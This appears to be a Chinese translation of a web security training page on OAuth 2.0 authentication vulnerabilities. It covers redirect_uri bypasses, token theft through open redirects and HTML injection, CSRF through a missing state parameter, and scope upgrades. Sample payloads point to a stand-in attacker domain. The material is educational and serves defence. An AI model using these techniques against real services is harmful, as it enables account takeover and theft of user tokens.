OAuth 2.0 身份验证漏洞
在浏览网页时,您几乎肯定会遇到可让您使用社交媒体帐户登录的网站。该功能很有可能是使用流行的 OAuth 2.0 框架构建的。OAuth 2.0 对攻击者来说非常有趣,因为它非常常见并且天生就容易出现实施错误。这可能导致许多漏洞,允许攻击者获取敏感的用户数据并可能完全绕过身份验证。
在本节中,我们将教您如何识别和利用OAuth 2.0 身份验证机制中发现的一些关键漏洞。如果您不太熟悉 OAuth 身份验证,请不要担心 - 我们提供了大量背景信息来帮助您了解您需要的关键概念。我们还将探讨OAuth 的 OpenID Connect 扩展中的一些漏洞。最后,我们提供了一些关于如何保护您自己的应用程序免受此类攻击的指南。
什么是 OAuth?
OAuth 是一种常用的授权框架,它使网站和 Web 应用程序能够请求对另一个应用程序上的用户帐户的有限访问。至关重要的是,OAuth 允许用户授予此访问权限,而无需将其登录凭据暴露给请求的应用程序。这意味着用户可以微调他们想要共享的数据,而不必将其帐户的完全控制权交给第三方。
基本 OAuth 流程广泛用于集成需要从用户帐户访问某些数据的第三方功能。例如,应用程序可能使用 OAuth 请求访问您的电子邮件联系人列表,以便它可以建议人们进行联系。但是,同样的机制也用于提供第三方认证服务,允许用户使用他们在不同网站上拥有的帐户登录。
笔记
尽管 OAuth 2.0 是当前标准,但一些网站仍使用旧版 1a。OAuth 2.0 是从头开始编写的,而不是直接从 OAuth 1.0 开发的。结果,两者有很大不同。请注意,在这些材料中,术语“OAuth”专门指 OAuth 2.0。
OAuth 2.0 如何工作?
OAuth 2.0 最初是作为一种在应用程序之间共享对特定数据的访问的方式而开发的。它通过定义三个不同方(即客户端应用程序、资源所有者和 OAuth 服务提供者)之间的一系列交互来工作。
- 客户端应用程序- 想要访问用户数据的网站或 Web 应用程序。
- 资源所有者- 客户端应用程序想要访问其数据的用户。
- OAuth 服务提供商- 控制用户数据和访问数据的网站或应用程序。它们通过提供用于与授权服务器和资源服务器交互的 API 来支持 OAuth。
有许多不同的方式可以实现实际的 OAuth 过程。这些被称为 OAuth“流”或“授权类型”。在本主题中,我们将重点关注“授权代码”和“隐式”授权类型,因为它们是迄今为止最常见的。从广义上讲,这两种资助类型都涉及以下阶段:
- 客户端应用程序请求访问用户数据的子集,指定他们想要使用的授权类型以及他们想要什么样的访问权限。
- 系统会提示用户登录 OAuth 服务并明确同意所请求的访问权限。
- 客户端应用程序会收到一个唯一的访问令牌,该令牌证明他们有权从用户那里访问所请求的数据。具体如何发生取决于授权类型。
- 客户端应用程序使用此访问令牌进行 API 调用,从资源服务器获取相关数据。
在了解如何使用 OAuth 进行身份验证之前,了解此基本 OAuth 过程的基础知识非常重要。如果您完全不熟悉 OAuth,我们建议您先熟悉我们将要介绍的两种授权类型的详细信息,然后再进一步阅读。
阅读更多
OAuth 身份验证
尽管最初并非用于此目的,但 OAuth 也已发展成为一种对用户进行身份验证的方法。例如,您可能熟悉许多网站提供的使用现有社交媒体帐户登录的选项,而不必在相关网站上注册。每当您看到此选项时,很有可能它是基于 OAuth 2.0 构建的。
对于 OAuth 身份验证机制,基本的 OAuth 流程基本保持不变;主要区别在于客户端应用程序如何使用它接收到的数据。从最终用户的角度来看,OAuth 身份验证的结果与基于 SAML 的单点登录 (SSO) 大体相似。在这些材料中,我们将专注于这个类似 SSO 的用例中的漏洞。
OAuth认证一般实现如下:
- 用户选择使用其社交媒体帐户登录的选项。然后,客户端应用程序使用社交媒体站点的 OAuth 服务请求访问一些可用于识别用户的数据。例如,这可能是在他们的帐户中注册的电子邮件地址。
- 收到访问令牌后,客户端应用程序从资源服务器请求此数据,通常是从专用
/userinfo
端点。 - 一旦收到数据,客户端应用程序就会使用它代替用户名来登录用户。它从授权服务器接收到的访问令牌通常用于代替传统的密码。
您可以在以下实验室中看到一个简单的示例。只需在通过 Burp 代理流量时完成“使用社交媒体登录”选项,然后研究代理历史中的一系列 OAuth 交互。您可以使用凭据登录wiener:peter
。请注意,这个实现是故意容易受到攻击的——我们稍后会教你如何利用它。
OAuth身份验证漏洞是如何产生的?
OAuth 身份验证漏洞的出现部分是因为 OAuth 规范在设计上相对模糊和灵活。尽管每种授权类型的基本功能都需要一些强制性组件,但绝大多数实现都是完全可选的。这包括许多确保用户数据安全所必需的配置设置。简而言之,不良做法有很多机会蔓延。
OAuth 的其他关键问题之一是普遍缺乏内置的安全功能。安全性几乎完全依赖于开发人员使用正确的配置选项组合并在顶部实施他们自己的额外安全措施,例如强大的输入验证。正如您可能已经收集到的那样,有很多内容需要考虑,如果您对 OAuth 没有经验,这很容易出错。
根据授权类型,高度敏感的数据也会通过浏览器发送,这为攻击者提供了各种拦截数据的机会。
识别 OAuth 身份验证
识别应用程序何时使用 OAuth 身份验证相对简单。如果您看到使用您的帐户从其他网站登录的选项,这强烈表明正在使用 OAuth。
识别 OAuth 身份验证的最可靠方法是通过 Burp 代理您的流量,并在您使用此登录选项时检查相应的 HTTP 消息。无论使用哪种 OAuth 授权类型,流的第一个请求将始终是对/authorization
端点的请求,其中包含许多专门用于 OAuth 的查询参数。特别要注意client_id
、redirect_uri
和response_type
参数。例如,授权请求通常如下所示:
GET /authorization?client_id=12345&redirect_uri=https://client-app.com/callback&response_type=token&scope=openid%20profile&state=ae13d489bd00e3c24 HTTP/1.1
Host: oauth-authorization-server.com
侦察
在识别漏洞时,对正在使用的 OAuth 服务进行一些基本的侦察可以为您指明正确的方向。
不用说,您应该研究构成 OAuth 流程的各种 HTTP 交互 - 我们将讨论一些具体的事情以供稍后注意。如果使用外部 OAuth 服务,您应该能够从授权请求发送到的主机名中识别特定的提供者。由于这些服务提供公共 API,因此通常有详细的文档可以告诉您各种有用的信息,例如端点的确切名称以及正在使用的配置选项。
一旦您知道授权服务器的主机名,您应该始终尝试向GET
以下标准端点发送请求:
/.well-known/oauth-authorization-server
/.well-known/openid-configuration
这些通常会返回一个 JSON 配置文件,其中包含关键信息,例如可能支持的附加功能的详细信息。这有时会提示您有关更广泛的攻击面和文档中可能未提及的受支持功能。
利用 OAuth 身份验证漏洞
漏洞可能出现在客户端应用程序的 OAuth 实现中以及 OAuth 服务本身的配置中。在本节中,我们将向您展示如何在这两种情况下利用一些最常见的漏洞。
- 客户端应用程序中的漏洞
- 隐式授权类型LABS的不正确实现
- 有缺陷的 CSRF 保护 LABS
- OAuth 服务中的漏洞
OAuth 客户端应用程序中的漏洞
客户端应用程序通常会使用信誉良好、久经考验的 OAuth 服务,该服务可以很好地抵御广为人知的攻击。但是,他们自己的实现可能不太安全。
正如我们已经提到的,OAuth 规范的定义相对宽松。对于客户端应用程序的实现尤其如此。OAuth 流程中有很多活动部分,每种授权类型中都有许多可选参数和配置设置,这意味着错误配置的范围很大。
隐式授权类型的不正确实现
由于通过浏览器发送访问令牌引入的危险,隐式授权类型主要推荐用于单页应用程序。但是,由于其相对简单,它也经常用于经典的客户端-服务器 Web 应用程序。
在此流程中,访问令牌通过用户的浏览器作为 URL 片段从 OAuth 服务发送到客户端应用程序。然后,客户端应用程序使用 JavaScript 访问令牌。麻烦的是,如果应用程序想要在用户关闭页面后保持会话,它需要将当前用户数据(通常是用户 ID 和访问令牌)存储在某个地方。
为了解决这个问题,客户端应用程序通常会在请求中将此数据提交给服务器,POST
然后为用户分配一个会话 cookie,从而有效地让他们登录。这个请求大致相当于可能作为表单提交请求的一部分发送的表单提交请求。经典的基于密码的登录。但是,在这种情况下,服务器没有任何秘密或密码可以与提交的数据进行比较,这意味着它是隐式信任的。
在隐式流程中,此POST
请求通过他们的浏览器暴露给攻击者。因此,如果客户端应用程序未正确检查访问令牌是否与请求中的其他数据匹配,则此行为可能会导致严重漏洞。在这种情况下,攻击者可以简单地更改发送到服务器的参数来冒充任何用户。
有缺陷的 CSRF 保护
尽管 OAuth 流程的许多组件是可选的,但强烈推荐其中一些组件,除非有重要的理由不使用它们。一个这样的例子是state
参数。
理想情况下,该state
参数应包含一个不可猜测的值,例如在用户首次启动 OAuth 流时与用户会话相关联的内容的哈希值。然后,此值在客户端应用程序和 OAuth 服务之间来回传递,作为客户端应用程序的CSRF 令牌形式。因此,如果您注意到授权请求没有发送state
参数,从攻击者的角度来看,这是非常有趣的。这可能意味着他们可以在欺骗用户浏览器完成之前自己启动 OAuth 流程,类似于传统的CSRF 攻击。这可能会产生严重后果,具体取决于客户端应用程序使用 OAuth 的方式。
考虑一个允许用户使用经典的基于密码的机制或通过使用 OAuth 将他们的帐户链接到社交媒体配置文件来登录的网站。在这种情况下,如果应用程序未能使用该state
参数,攻击者可能会通过将客户端应用程序绑定到他们自己的社交媒体帐户来劫持受害者用户在客户端应用程序上的帐户。
请注意,如果该站点允许用户以独占方式通过 OAuth 登录,则该state
参数可能不太重要。但是,不使用state
参数仍然可以让攻击者构造登录 CSRF 攻击,从而诱骗用户登录到攻击者的帐户。
泄露授权码和访问令牌
也许最臭名昭著的基于 OAuth 的漏洞是当 OAuth 服务本身的配置使攻击者能够窃取授权代码或访问与其他用户帐户关联的令牌时。通过窃取有效的代码或令牌,攻击者可能能够访问受害者的数据。最终,这可能会完全危及他们的帐户——攻击者可能会以受害者用户身份登录任何注册了此 OAuth 服务的客户端应用程序。
根据授权类型,通过受害者的浏览器将代码或令牌发送到授权请求参数中/callback
指定的端点。redirect_uri
如果 OAuth 服务未能正确验证此 URI,则攻击者可能能够构建类似 CSRF 的攻击,诱使受害者的浏览器启动 OAuth 流,该流将代码或令牌发送给攻击者控制的redirect_uri
.
在授权代码流的情况下,攻击者可能会在受害者的代码被使用之前窃取它。然后,他们可以将此代码发送到客户端应用程序的合法/callback
端点(原始端点redirect_uri
)以访问用户帐户。在这种情况下,攻击者甚至不需要知道客户端密码或生成的访问令牌。只要受害者与 OAuth 服务有一个有效的会话,客户端应用程序就会在将攻击者登录到受害者的帐户之前简单地代表攻击者完成代码/令牌交换。
请注意,使用state
或nonce
保护并不一定能阻止这些攻击,因为攻击者可以从他们自己的浏览器中生成新值。
更安全的授权服务器redirect_uri
在交换代码时也需要发送一个参数。然后,服务器可以检查这是否与它在初始授权请求中收到的匹配,如果不匹配,则拒绝交换。由于这发生在通过安全反向通道的服务器到服务器请求中,攻击者无法控制第二个redirect_uri
参数。
有缺陷的 redirect_uri 验证
由于在之前的实验室中看到了各种攻击,最佳实践是客户端应用程序在注册 OAuth 服务时提供其真实回调 URI 的白名单。这样,当 OAuth 服务接收到新请求时,它可以redirect_uri
根据此白名单验证参数。在这种情况下,提供外部 URI 可能会导致错误。但是,可能仍然有绕过此验证的方法。
在审核 OAuth 流时,您应该尝试使用该redirect_uri
参数来了解它是如何被验证的。例如:
- 一些实现通过仅检查字符串是否以正确的字符序列(即批准的域)开头来允许一系列子目录。您应该尝试删除或添加任意路径、查询参数和片段,以查看可以更改哪些内容而不会触发错误。
- 如果您可以将额外的值附加到默认
redirect_uri
参数,您可能能够利用 OAuth 服务的不同组件解析 URI 之间的差异。例如,您可以尝试以下技术:https://default-host.com &@foo.evil-user.net#@bar.evil-user.net/
如果您不熟悉这些技术,我们建议您阅读我们的内容,了解如何绕过常见的 SSRF 防御和CORS。 - 您可能偶尔会遇到服务器端参数污染漏洞。以防万一,您应该尝试提交重复
redirect_uri
的参数,如下所示:https://oauth-authorization-server.com/?client_id=123&redirect_uri=client-app.com/callback&redirect_uri=evil-user.net
- 一些服务器还对
localhost
URI 进行特殊处理,因为它们在开发过程中经常使用。在某些情况下,任何以开头的重定向 URIlocalhost
都可能在生产环境中被意外允许。这可以让您通过注册域名(例如localhost.evil-user.net
.
请务必注意,您不应将测试限制为仅单独探测redirect_uri
参数。在野外,您经常需要尝试对多个参数进行不同的更改组合。有时更改一个参数会影响其他参数的验证。例如,将response_mode
from更改为query
tofragment
有时可以完全改变 的解析redirect_uri
,从而允许您提交否则会被阻止的 URI。同样,如果您注意到web_message
响应模式受支持,这通常允许redirect_uri
.
通过代理页面窃取代码和访问令牌
针对更强大的目标,您可能会发现,无论您如何尝试,都无法成功将外部域提交为redirect_uri
. 然而,这并不意味着是时候放弃了。
到此阶段,您应该对可以篡改 URI 的哪些部分有一个相对较好的了解。现在的关键是利用这些知识来尝试访问客户端应用程序本身内更广泛的攻击面。换句话说,尝试确定您是否可以更改redirect_uri
参数以指向白名单域上的任何其他页面。
尝试找到可以成功访问不同子域或路径的方法。例如,默认 URI 通常位于特定于 OAuth 的路径上,例如/oauth/callback
,它不太可能有任何有趣的子目录。但是,您可以使用目录遍历技巧来提供域上的任意路径。像这样的东西:
https://client-app.com/oauth/callback/../../example/path
可以在后端解释为:
https://client-app.com/example/path
一旦您确定可以将哪些其他页面设置为重定向 URI,您应该审核它们是否存在您可能用来泄漏代码或令牌的其他漏洞。对于授权代码流,您需要找到一个可以让您访问查询参数的漏洞,而对于隐式授权类型,您需要提取 URL 片段。
为此目的最有用的漏洞之一是开放重定向。您可以将其用作代理,将受害者及其代码或令牌转发到攻击者控制的域,您可以在其中托管您喜欢的任何恶意脚本。
请注意,对于隐式授权类型,窃取访问令牌不仅仅使您能够在客户端应用程序上登录受害者的帐户。由于整个隐式流程通过浏览器进行,您还可以使用令牌对 OAuth 服务的资源服务器进行自己的 API 调用。这可能使您能够从客户端应用程序的 Web UI 获取通常无法访问的敏感用户数据。
除了开放重定向之外,您还应该寻找任何其他允许您提取代码或令牌并将其发送到外部域的漏洞。一些很好的例子包括:
- 处理查询参数和 URL 片段的危险 JavaScript
例如,不安全的 Web 消息传递脚本可以很好地解决这个问题。在某些情况下,您可能必须确定一个较长的小工具链,以允许您通过一系列脚本传递令牌,然后最终将其泄漏到您的外部域。 - XSS漏洞
尽管 XSS 攻击本身可能会产生巨大的影响,但攻击者通常会在很短的时间内访问用户的会话,然后才能关闭选项卡或导航离开。由于该HTTPOnly
属性通常用于会话 cookie,因此攻击者通常也无法使用 XSS 直接访问它们。但是,通过窃取 OAuth 代码或令牌,攻击者可以在自己的浏览器中访问用户帐户。这使他们有更多时间来探索用户数据并执行有害操作,从而显着增加了 XSS 漏洞的严重性。 - HTML 注入漏洞
在无法注入 JavaScript 的情况下(例如,由于 CSP 限制或严格过滤),您仍然可以使用简单的 HTML 注入来窃取授权码。如果您可以将redirect_uri
参数指向可以注入您自己的 HTML 内容的页面,您可能能够通过Referer
标头泄漏代码。例如,考虑以下img
元素:<img src="evil-user.net">
. 尝试获取此图像时,某些浏览器(例如 Firefox)会在Referer
请求的标头中发送完整的 URL,包括查询字符串。
有缺陷的范围验证
在任何 OAuth 流程中,用户必须根据授权请求中定义的范围批准请求的访问权限。生成的令牌允许客户端应用程序仅访问用户批准的范围。但在某些情况下,由于 OAuth 服务的验证存在缺陷,攻击者可能会“升级”具有额外权限的访问令牌(被盗或使用恶意客户端应用程序获得)。执行此操作的过程取决于授权类型。
范围升级:授权码流
使用授权码授权类型,通过安全的服务器到服务器通信请求和发送用户数据,第三方攻击者通常无法直接操作。但是,通过将他们自己的客户端应用程序注册到 OAuth 服务,可能仍然可以获得相同的结果。
例如,假设攻击者的恶意客户端应用程序最初使用openid email
范围请求访问用户的电子邮件地址。用户批准此请求后,恶意客户端应用程序会收到一个授权码。当攻击者控制他们的客户端应用程序时,他们可以向包含附加范围 scope
的代码/令牌交换请求添加另一个参数:profile
POST /token
Host: oauth-authorization-server.com
…
client_id=12345&client_secret=SECRET&redirect_uri=https://client-app.com/callback&grant_type=authorization_code&code=a1b2c3d4e5f6g7h8&scope=openid%20 email%20profile
如果服务器没有根据初始授权请求的范围验证这一点,它有时会使用新范围生成访问令牌并将其发送到攻击者的客户端应用程序:
{
"access_token": "z0y9x8w7v6u5",
"token_type": "Bearer",
"expires_in": 3600,
"scope": "openid email profile",
…
}
然后,攻击者可以使用他们的应用程序进行必要的 API 调用来访问用户的个人资料数据。
范围升级:隐式流
对于隐式授权类型,访问令牌是通过浏览器发送的,这意味着攻击者可以窃取与无辜客户端应用程序相关的令牌并直接使用它们。一旦他们窃取了访问令牌,他们就可以向 OAuth 服务的/userinfo
端点发送一个基于浏览器的普通请求,在此过程中手动添加一个新scope
参数。
理想情况下,OAuth 服务应scope
根据生成令牌时使用的值验证此值,但情况并非总是如此。只要调整后的权限不超过先前授予此客户端应用程序的访问级别,攻击者就可能访问其他数据,而无需用户进一步批准。
未经验证的用户注册
通过 OAuth 对用户进行身份验证时,客户端应用程序会隐含假设 OAuth 提供者存储的信息是正确的。这可能是一个危险的假设。
一些提供 OAuth 服务的网站允许用户注册帐户而无需验证他们的所有详细信息,在某些情况下包括他们的电子邮件地址。攻击者可以通过使用与目标用户相同的详细信息(例如已知电子邮件地址)向 OAuth 提供商注册帐户来利用此漏洞。然后,客户端应用程序可能允许攻击者通过 OAuth 提供者的欺诈帐户以受害者身份登录。
使用 OpenID Connect 扩展 OAuth
当用于身份验证时,OAuth 通常使用 OpenID Connect 层进行扩展,该层提供了一些与识别和验证用户相关的附加功能。有关这些功能的详细描述,以及与它们可能引入的漏洞相关的更多实验室,请参阅我们的 OpenID Connect 主题。
阅读更多
防止 OAuth 身份验证漏洞
对于开发人员,我们提供了一些关于如何避免将这些漏洞引入您自己的网站和应用程序的指导。